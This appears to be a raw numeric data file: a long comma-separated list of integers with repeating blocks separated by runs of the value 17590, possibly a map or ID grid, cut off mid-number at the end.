0,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21651,18836,18987,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,19249,19265,19307,18888,27857,30536,24401,31444,23357,18888,19351,18888,18890,27211,19370,27211,27211,19392,24401,31911,24401,24401,25467,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,28537,19440,24401,24401,24401,24401,24036,17994,24060,18888,18888,18888,18890,19468,27211,27211,27211,27211,19484,35367,19520,24401,24401,24401,19628,18888,29855,18888,18888,23086,27211,19538,27211,27211,30756,24012,24401,19560,24401,24401,26750,18888,18888,19327,27855,27211,27211,19580,17590,24017,24401,24401,19600,25665,18888,18888,28518,27211,27212,24016,19620,19868,28435,25722,18889,19644,27211,32888,35852,19868,31018,19694,19376,19717,22215,19735,22098,19751,35203,19776,19797,19817,19840,25783,31738,24135,19701,19856,31015,23516,31008,28311,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21768,18836,19307,18888,27857,27904,24401,29183,28015,18888,18888,18888,18890,27211,27211,27211,27211,19888,24401,24401,24401,24401,22953,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,28537,19440,24401,24401,24401,24401,24036,18881,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22399,18836,19918,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21666,18836,19307,18888,27857,27525,24401,29183,21467,18888,18888,18888,18890,27211,27211,27211,27211,19946,24401,24401,24401,24401,32382,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,28537,19998,24401,24401,24401,24401,31500,18467,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,20021,24401,24401,24401,24401,24401,34271,18888,18888,18888,18888,23086,27211,27211,27211,27211,32926,29908,24401,24401,24401,24401,26095,18888,18888,18888,27855,27211,27211,27211,20050,22968,24401,24401,24401,18887,18888,18888,27211,27211,35779,20080,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,20101,19039,20191,20412,20903,17569,20309,20872,25633,20623,20505,20218,20242,17189,17208,17281,20355,20265,20306,20328,20383,22490,20796,20619,21354,20654,20410,20956,21232,20765,17421,20535,17192,18127,22459,20312,25531,22470,20309,20428,18964,20466,20491,21342,21070,20521,20682,17714,18326,17543,17559,17585,22497,20559,19504,20279,20575,20290,20475,20604,20639,20226,20670,17661,21190,17703,21176,17730,19494,20698,20711,22480,21046,21116,18971,21130,20727,20755,17675,17753,17832,17590,25518,20394,20781,20831,20202,20847,21401,17292,17934,17979,18549,20863,20588,25542,20888,20919,18072,18117,20935,20972,21032,21062,21086,18239,21102,18563,21146,21162,21206,18351,20949,20902,18340,21222,21258,21283,18360,20249,17405,21295,21311,21327,20739,20343,21370,21386,21417,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21977,18836,18987,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,21452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,21504,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,36501,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,28674,21946,17617,36473,18223,17237,17477,19152,17860,17892,17675,17753,17832,21575,21534,17481,19156,17864,18731,17918,36551,17292,17934,21560,30628,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21798,18836,21612,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21636,18836,18987,19008,19233,17902,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21753,19096,21903,19008,19233,20367,19008,19291,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,17379,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,21931,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,18280,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21962,18594,18987,19008,19233,22043,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21681,21858,18987,19008,19233,20367,19008,21544,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,30613,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,31500,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,32319,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,21431,24401,24401,24401,24401,26095,18888,18888,18888,27855,27211,27211,27211,22187,22968,24401,24401,24401,22231,18888,18888,27211,27211,35779,20080,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,30613,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,31500,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,31181,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,21431,24401,24401,24401,24401,26095,18888,18888,18888,27855,27211,27211,27211,22187,22968,24401,24401,24401,18887,18888,18888,27211,27211,35779,20080,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,31678,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,31500,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,31181,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,21431,24401,24401,24401,24401,26095,18888,18888,18888,27855,27211,27211,27211,22187,22968,24401,24401,24401,18887,18888,18888,27211,27211,35779,20080,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,30613,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,33588,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,31181,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,21431,24401,24401,24401,24401,26095,18888,18888,18888,27855,27211,27211,27211,22187,22968,24401,24401,24401,18887,18888,18888,27211,27211,35779,20080,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,18888,27857,35019,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22248,24401,24401,24401,24401,30613,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,31500,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,31181,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,21431,24401,24401,24401,24401,26095,18888,18888,18888,27855,27211,27211,27211,22187,22968,24401,24401,24401,18887,18888,18888,27211,27211,35779,20080,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,18866,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,24036,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22324,18836,22059,18888,27857,30501,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,18866,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,24036,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,18866,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,24036,31693,18888,18888,1